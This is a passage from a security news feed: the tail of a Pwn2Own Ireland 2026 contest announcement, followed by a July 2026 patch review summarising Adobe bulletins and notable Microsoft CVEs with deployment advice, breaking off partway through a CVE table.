it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
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<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
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</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
